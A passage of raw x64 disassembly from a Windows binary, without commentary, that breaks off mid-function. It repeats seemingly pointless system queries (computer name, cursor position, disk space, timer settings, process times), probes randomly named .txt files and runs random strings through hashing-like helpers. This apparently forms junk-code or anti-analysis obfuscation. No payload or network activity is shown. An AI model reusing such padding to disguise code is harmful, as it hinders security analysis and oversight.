call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x30], xmm0
xor r15d, r15d
test rbx, rbx
je 0x1400155b7
lock inc dword [rbx + 8]
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], rbx
lea rdx, [rbp - 0x30]
mov rcx, rsi
call fcn.14000cfe8
test al, al
je 0x140016fd7
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
lea r14d, [r9 + 1]
mov r8d, r14d
mov edx, 0x80000000
lea rcx, [0x14005e548]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140015613
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x6f70]
call fcn.140059690
mov dword [rbp + 0x424], 0x10
lea rdx, [rbp + 0x424]
lea rcx, [rbp + 0x19f0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rcx, [rbp + 0x1670]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
xorps xmm0, xmm0
movups xmmword [rbp + 0x7d8], xmm0
mov qword [rbp + 0x7e8], r15
mov qword [rbp + 0x7f0], r15
mov r8d, 9
lea rdx, str.UxlKDGtYu
lea rcx, [rbp + 0x7d8]
call fcn.14000192c
nop
lea rdx, [rbp + 0x7d8]
cmp qword [rbp + 0x7f0], 0xf
cmova rdx, qword [rbp + 0x7d8]
mov r8, qword [rbp + 0x7e8]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x3562888d
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x7d8]
call fcn.140005e28
xorps xmm0, xmm0
movups xmmword [rbp + 0x7f8], xmm0
mov qword [rbp + 0x808], r15
mov qword [rbp + 0x810], r15
mov r8d, 7
lea rdx, str.qLs5JAM
lea rcx, [rbp + 0x7f8]
call fcn.14000192c
nop
lea rdx, [rbp + 0x7f8]
cmp qword [rbp + 0x810], 0xf
cmova rdx, qword [rbp + 0x7f8]
mov r8, qword [rbp + 0x808]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x63c0a21
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x7f8]
call fcn.140005e28
lea r9, [rbp + 0xf08]
lea r8, [rbp + 0xf10]
lea rdx, [rbp + 0xf18]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.8nVIhMo.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x1400157ac
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0x978], xmm0
mov qword [rbp + 0x988], r15
mov qword [rbp + 0x990], r15
mov r8d, 3
lea rdx, [0x14005e598]
lea rcx, [rbp + 0x978]
call fcn.14000192c
lea rdx, [rbp + 0x978]
cmp qword [rbp + 0x990], 0xf
cmova rdx, qword [rbp + 0x978]
mov r8d, 0x103e2904
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0x978]
call fcn.140005e28
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.gC2Yh.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x14001584e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0x818], xmm0
mov qword [rbp + 0x828], r15
mov qword [rbp + 0x830], r15
mov r8d, 3
lea rdx, [0x14005e5b4]
lea rcx, [rbp + 0x818]
call fcn.14000192c
nop
lea rdx, [rbp + 0x818]
cmp qword [rbp + 0x830], 0xf
cmova rdx, qword [rbp + 0x818]
mov r8, qword [rbp + 0x828]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x3003d272
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x818]
call fcn.140005e28
lea r9, [rbp + 0xf20]
lea r8, [rbp + 0xf28]
lea rdx, [rbp + 0xf30]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rcx, [rbp + 0x1680]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea rcx, [rbp + 0xf38]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea r9, [rbp + 0xf40]
lea r8, [rbp + 0xf48]
lea rdx, [rbp + 0xf50]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x838], xmm0
mov qword [rbp + 0x848], r15
mov qword [rbp + 0x850], r15
mov r8, r14
lea rdx, [0x14005e29c]
lea rcx, [rbp + 0x838]
call fcn.14000192c
nop
lea rdx, [rbp + 0x838]
cmp qword [rbp + 0x850], 0xf
cmova rdx, qword [rbp + 0x838]
mov r8, qword [rbp + 0x848]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x8dc009d
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x838]
call fcn.140005e28
lea rcx, [rbp + 0x1690]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov rcx, rsi
call fcn.14000c820
cmp al, 0x13
jne 0x140016fd7
mov dl, r14b
mov rcx, rsi
call fcn.14000be30
test al, al
je 0x140016fd7
mov dl, 0x10
mov rcx, rsi
call fcn.14000be30
test al, al
je 0x140016fd7
mov r8b, r14b
lea rdx, [rbp + 0x288]
mov rcx, rsi
call fcn.14000c57c
nop
or dword [rsp + 0x40], r14d
lea rdx, [rbp + 0x381]
mov rcx, qword [rax]
call fcn.14000c8ec
test al, al
je 0x140015a1e
cmp byte [rbp + 0x381], r15b
je 0x140015a1e
mov r14b, r15b
mov eax, dword [rsp + 0x40]
test al, 1
je 0x140015a37
and dword [rsp + 0x40], 0xfffffffe
lea rcx, [rbp + 0x288]
call fcn.140001380
test r14b, r14b
jne 0x140016fb3
xorps xmm6, xmm6
movdqa xmmword [rbp - 0x50], xmm6
mov dl, 4
mov rcx, rsi
call fcn.14000be30
test al, al
je 0x140015aa2
mov r8b, 4
lea rdx, [rbp + 0x2f8]
mov rcx, rsi
call fcn.14000c57c
nop
lea rdx, [rbp + 0x2a8]
mov rcx, qword [rax]
call fcn.14000c46c
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.14000e8ac
lea rcx, [rbp + 0x2a8]
call fcn.140001380
nop
lea rcx, [rbp + 0x2f8]
call fcn.140001380
movdqa xmm6, xmmword [rbp - 0x50]
lea rax, [rbp + 0x100]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmm6
psrldq xmm1, 8
movq rbx, xmm1
test rbx, rbx
je 0x140015ad9
lock inc dword [rbx + 8]
mov rbx, qword [rbp - 0x48]
movdqa xmm6, xmmword [rbp - 0x50]
movdqa xmmword [rbp + 0x100], xmm6
mov r8b, 0x10
lea rdx, [rbp + 0x2d8]
mov rcx, rsi
call fcn.14000c57c
nop
lea rdx, [rbp + 0x2b8]
mov rcx, qword [rax]
call fcn.14000c46c
nop
lea r9, [rbp + 0x100]
mov r8, rax
lea rdx, [rbp + 0x2c8]
lea rcx, [0x140078ed0]
call fcn.140029010
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14000e8ac
lea rcx, [rbp + 0x2c8]
call fcn.140001380
nop
lea rcx, [rbp + 0x2d8]
call fcn.140001380
nop
test rbx, rbx
je 0x14001628c
mov rcx, rbx
call fcn.14000ecc4
jmp 0x14001628c
xorps xmm0, xmm0
movups xmmword [rbp + 0x858], xmm0
mov qword [rbp + 0x868], r15
mov qword [rbp + 0x870], r15
mov r8d, 2
lea rdx, [0x14005e5b8]
lea rcx, [rbp + 0x858]
call fcn.14000192c
nop
lea rdx, [rbp + 0x858]
cmp qword [rbp + 0x870], 0xf
cmova rdx, qword [rbp + 0x858]
mov r8, qword [rbp + 0x868]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x2ea8123f
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x858]
call fcn.140005e28
mov dword [rbp + 0x420], 0x10
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x1a10]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov edx, 8
lea rcx, [rbp + 0xf58]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140015c24
lea ecx, [rax + 1]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, 1
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea r9, [rbp + 0xf60]
lea r8, [rbp + 0xf68]
lea rdx, [rbp + 0xf70]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rcx, [rbp + 0x16a0]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x7370]
call fcn.140059690
lea rcx, [rbp + 0x16b0]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
xorps xmm0, xmm0
movups xmmword [rbp + 0x998], xmm0
mov qword [rbp + 0x9a8], r15
mov qword [rbp + 0x9b0], r15
mov r8d, 3
lea rdx, [0x14005e5bc]
lea rcx, [rbp + 0x998]
call fcn.14000192c
lea rdx, [rbp + 0x998]
cmp qword [rbp + 0x9b0], 0xf
cmova rdx, qword [rbp + 0x998]
mov r8d, 0x9e74e38
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0x998]
call fcn.140005e28
lea rcx, [rbp + 0x16c0]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
lea rcx, [0x14005e5c0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140015d24
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
lea rcx, str.C2TOb.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140015d61
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x7770]
call fcn.140059690
lea rcx, [rbp + 0x16e0]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [rbp + 0x41c], 0x10
lea rdx, [rbp + 0x41c]
lea rcx, [rbp + 0x1a30]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov edx, 8
lea rcx, [rbp + 0xf78]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140015dca
lea ecx, [rax + 1]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, 1
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov dword [rbp + 0x418], 0x10
lea rdx, [rbp + 0x418]
lea rcx, [rbp + 0x1a50]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov edx, 8
lea rcx, [rbp + 0xf80]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140015e12
lea ecx, [rax + 1]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, 1
call qword [sym.imp.WINMM.dll_timeEndPeriod]
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x40], xmm0
test rbx, rbx
je 0x140015e23
lock inc dword [rbx + 8]
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], rbx
lea rdx, [rbp - 0x40]
mov rcx, rsi
call fcn.14000cfe8
test al, al
je 0x140016fd7
mov edx, 8
lea rcx, [rbp + 0xf88]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140015e69
lea ecx, [rax + 1]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, 1
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea r9, [rbp + 0xf90]
lea r8, [rbp + 0xf98]
lea rdx, [rbp + 0x11d0]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x9b8], xmm0
mov qword [rbp + 0x9c8], r15
mov qword [rbp + 0x9d0], r15
mov r8d, 9
lea rdx, str.W4mPRRO0n
lea rcx, [rbp + 0x9b8]
call fcn.14000192c
lea rdx, [rbp + 0x9b8]
cmp qword [rbp + 0x9d0], 0xf
cmova rdx, qword [rbp + 0x9b8]
mov r8d, 0x1e9d1d81
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0x9b8]
call fcn.140005e28
xorps xmm0, xmm0
movups xmmword [rbp + 0x9d8], xmm0
mov qword [rbp + 0x9e8], r15
mov qword [rbp + 0x9f0], r15
mov r8d, 4
lea rdx, str.VNzi
lea rcx, [rbp + 0x9d8]
call fcn.14000192c
lea rdx, [rbp + 0x9d8]
cmp qword [rbp + 0x9f0], 0xf
cmova rdx, qword [rbp + 0x9d8]
mov r8d, 0x34b07cb9
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0x9d8]
call fcn.140005e28
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
test rax, rax
je 0x140015fa8
lea rax, [rbp + 0xfa8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xfb0]
lea r8, [rbp + 0xfb8]
lea rdx, [rbp + 0xfc0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
test rax, rax
je 0x140015ff9
lea rax, [rbp + 0xfc8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xfd0]
lea r8, [rbp + 0xfd8]
lea rdx, [rbp + 0xfe0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 8
lea rcx, [rbp + 0xfe8]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
mov r14d, 1
test eax, eax
jne 0x140016027
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x7b70]
call fcn.140059690
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.5aOurCoZ.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140016077
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rbp + 0xff0]
lea r8, [rbp + 0xff8]
lea rdx, [rbp + 0x1000]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.fytqgB.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x1400160d5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x1008]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea rcx, [rbp + 0x1010]
call qword [sym.imp.USER32.dll_GetCursorPos]
xorps xmm0, xmm0
movups xmmword [rbp + 0x878], xmm0
mov qword [rbp + 0x888], r15
mov qword [rbp + 0x890], r15
mov r8d, 0xa
lea rdx, str.8KnkQp2TZd
lea rcx, [rbp + 0x878]
call fcn.14000192c
nop
lea rdx, [rbp + 0x878]
cmp qword [rbp + 0x890], 0xf
cmova rdx, qword [rbp + 0x878]
mov r8, qword [rbp + 0x888]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x30541524
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x878]
call fcn.140005e28
mov dword [rbp + 0x414], 0x10
lea rdx, [rbp + 0x414]
lea rcx, [rbp + 0x1a70]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rbp + 0x410], 0x10
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x1a90]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rcx, [rbp + 0x1018]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov rcx, rsi
call fcn.14000c820
cmp al, 0x13
jne 0x140016292
mov dl, r14b
mov rcx, rsi
call fcn.14000be30
test al, al
je 0x140016fd7
mov dl, 0x10
mov rcx, rsi
call fcn.14000be30
test al, al
je 0x140016fb3
mov r8b, r14b
lea rdx, [rbp + 0x2e8]
mov rcx, rsi
call fcn.14000c57c
nop
or dword [rsp + 0x40], 2
lea rdx, [rbp + 0x380]
mov rcx, qword [rax]
call fcn.14000c8ec
test al, al
je 0x140016222
cmp byte [rbp + 0x380], r15b
jne 0x140016222
mov r14b, r15b
mov eax, dword [rsp + 0x40]
test al, 2
je 0x14001623b
and dword [rsp + 0x40], 0xfffffffd
lea rcx, [rbp + 0x2e8]
call fcn.140001380
test r14b, r14b
jne 0x140016fb3
mov r8b, 0x10
lea rdx, [rbp + 0x318]
mov rcx, rsi
call fcn.14000c57c
nop
lea rdx, [rbp + 0x308]
mov rcx, qword [rax]
call fcn.14000c46c
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14000e8ac
lea rcx, [rbp + 0x308]
call fcn.140001380
nop
lea rcx, [rbp + 0x318]
call fcn.140001380
mov r14d, 1
mov edx, 8
lea rcx, [rbp + 0x1020]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x1400162ba
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov edx, 8
lea rcx, [rbp + 0x1028]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x1400162e2
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov dword [rbp + 0x40c], 0x10
lea rdx, [rbp + 0x40c]
lea rcx, [rbp + 0x1ab0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov edx, 8
lea rcx, [rbp + 0x1030]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140016328
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea rcx, [rbp + 0x1038]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov dword [rbp + 0x408], 0x10
lea rdx, [rbp + 0x408]
lea rcx, [rbp + 0x1ad0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov ebx, 0x400
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x7f70]
call fcn.140059690
mov edx, 8
lea rcx, [rbp + 0x1040]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140016391
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
xorps xmm0, xmm0
movups xmmword [rbp + 0x898], xmm0
mov qword [rbp + 0x8a8], r15
mov qword [rbp + 0x8b0], r15
mov r8d, 4
lea rdx, str.dYj1
lea rcx, [rbp + 0x898]
call fcn.14000192c
lea rdx, [rbp + 0x898]
cmp qword [rbp + 0x8b0], 0xf
cmova rdx, qword [rbp + 0x898]
mov r8d, 0xb74f59b
lea rcx, str._s:__d
call fcn.1400184d4
mov rdx, qword [rbp + 0x8b0]
cmp rdx, 0xf
jbe 0x14001642c
inc rdx
mov rcx, qword [rbp + 0x898]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016427
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001733a
call fcn.140034bfc
mov edx, 8
lea rcx, [rbp + 0x1048]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140016454
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea rcx, [rbp + 0x16f0]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea rcx, [rbp + 0x1050]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov edx, 8
lea rcx, [rbp + 0x1058]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140016496
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.n8g.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x1400164d2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x1060]
call qword [sym.imp.USER32.dll_GetCursorPos]
xorps xmm0, xmm0
movups xmmword [rbp + 0x4d8], xmm0
mov qword [rbp + 0x4e8], r15
mov qword [rbp + 0x4f0], r15
mov r8d, 6
lea rdx, str.R4ail9
lea rcx, [rbp + 0x4d8]
call fcn.14000192c
nop
lea rdx, [rbp + 0x4d8]
cmp qword [rbp + 0x4f0], 0xf
cmova rdx, qword [rbp + 0x4d8]
mov r8, qword [rbp + 0x4e8]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x1a363d13
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
mov rdx, qword [rbp + 0x4f0]
cmp rdx, 0xf
jbe 0x140016592
inc rdx
mov rcx, qword [rbp + 0x4d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001658d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017340
call fcn.140034bfc
xorps xmm0, xmm0
movups xmmword [rbp + 0x8b8], xmm0
mov qword [rbp + 0x8c8], r15
mov qword [rbp + 0x8d0], r15
mov r8d, 3
lea rdx, [0x14005e670]
lea rcx, [rbp + 0x8b8]
call fcn.14000192c
lea rdx, [rbp + 0x8b8]
cmp qword [rbp + 0x8d0], 0xf
cmova rdx, qword [rbp + 0x8b8]
mov r8d, 0x1af2861f
lea rcx, str._s:__d
call fcn.1400184d4
mov rdx, qword [rbp + 0x8d0]
cmp rdx, 0xf
jbe 0x14001662d
inc rdx
mov rcx, qword [rbp + 0x8b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016628
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017346
call fcn.140034bfc
mov rcx, rsi
call fcn.14000c6bc
add r13d, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x4f8], xmm0
mov qword [rbp + 0x508], r15
mov qword [rbp + 0x510], r15
mov r8d, 5
lea rdx, str.CnKAk
lea rcx, [rbp + 0x4f8]
call fcn.14000192c
nop
lea rdx, [rbp + 0x4f8]
cmp qword [rbp + 0x510], 0xf
cmova rdx, qword [rbp + 0x4f8]
mov r8, qword [rbp + 0x508]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x31c5eab2
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x1400166eb
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400166e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017310
call fcn.140034bfc
lea r9, [rbp + 0x1068]
lea r8, [rbp + 0x1070]
lea rdx, [rbp + 0x1078]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.xU.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
or rsi, 0xffffffffffffffff
cmp rax, rsi
je 0x14001674c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rbp + 0x1080]
lea r8, [rbp + 0x1088]
lea rdx, [rbp + 0x1090]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov r8, rbx
xor edx, edx
lea rcx, [rbp + 0x8370]
call fcn.140059690
lea rcx, [rbp + 0x1098]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov ebx, 0x10
mov dword [rbp + 0x404], ebx
lea rdx, [rbp + 0x404]
lea rcx, [rbp + 0x1af0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x8d8], xmm0
mov qword [rbp + 0x8e8], r15
mov qword [rbp + 0x8f0], r15
lea r8d, [rbx - 0xc]
lea rdx, str.L9c6
lea rcx, [rbp + 0x8d8]
call fcn.14000192c
nop
lea rdx, [rbp + 0x8d8]
cmp qword [rbp + 0x8f0], 0xf
cmova rdx, qword [rbp + 0x8d8]
mov r8, qword [rbp + 0x8e8]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x2124aeb7
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x8d8]
call fcn.140005e28
xorps xmm0, xmm0
movups xmmword [rbp + 0x9f8], xmm0
mov qword [rbp + 0xa08], r15
mov qword [rbp + 0xa10], r15
mov r8, r14
lea rdx, [0x14005e698]
lea rcx, [rbp + 0x9f8]
call fcn.14000192c
lea rdx, [rbp + 0x9f8]
cmp qword [rbp + 0xa10], 0xf
cmova rdx, qword [rbp + 0x9f8]
mov r8d, 0x31860534
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0x9f8]
call fcn.140005e28
xorps xmm0, xmm0
movups xmmword [rbp + 0xa18], xmm0
mov qword [rbp + 0xa28], r15
mov qword [rbp + 0xa30], r15
lea r8d, [rbx - 9]
lea rdx, str.z60w34q
lea rcx, [rbp + 0xa18]
call fcn.14000192c
lea rdx, [rbp + 0xa18]
cmp qword [rbp + 0xa30], 0xf
cmova rdx, qword [rbp + 0xa18]
mov r8d, 0x6a2e4e4
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0xa18]
call fcn.140005e28
mov dword [rbp + 0x400], ebx
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x1b10]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa38], xmm0
mov qword [rbp + 0xa48], r15
mov qword [rbp + 0xa50], r15
lea r8d, [rbx - 7]
lea rdx, str.LU1jZoO0b
lea rcx, [rbp + 0xa38]
call fcn.14000192c
lea rdx, [rbp + 0xa38]
cmp qword [rbp + 0xa50], 0xf
cmova rdx, qword [rbp + 0xa38]
mov r8d, 0x267bfd93
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0xa38]
call fcn.140005e28
lea r9, [rbp + 0x10a0]
lea r8, [rbp + 0x10a8]
lea rdx, [rbp + 0x10b0]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa58], xmm0
mov qword [rbp + 0xa68], r15
mov qword [rbp + 0xa70], r15
mov ebx, 3
mov r8d, ebx
lea rdx, [0x14005e6b4]
lea rcx, [rbp + 0xa58]
call fcn.14000192c
lea rdx, [rbp + 0xa58]
cmp qword [rbp + 0xa70], 0xf
cmova rdx, qword [rbp + 0xa58]
mov r8d, 0x376f45ce
lea rcx, str._s:__d
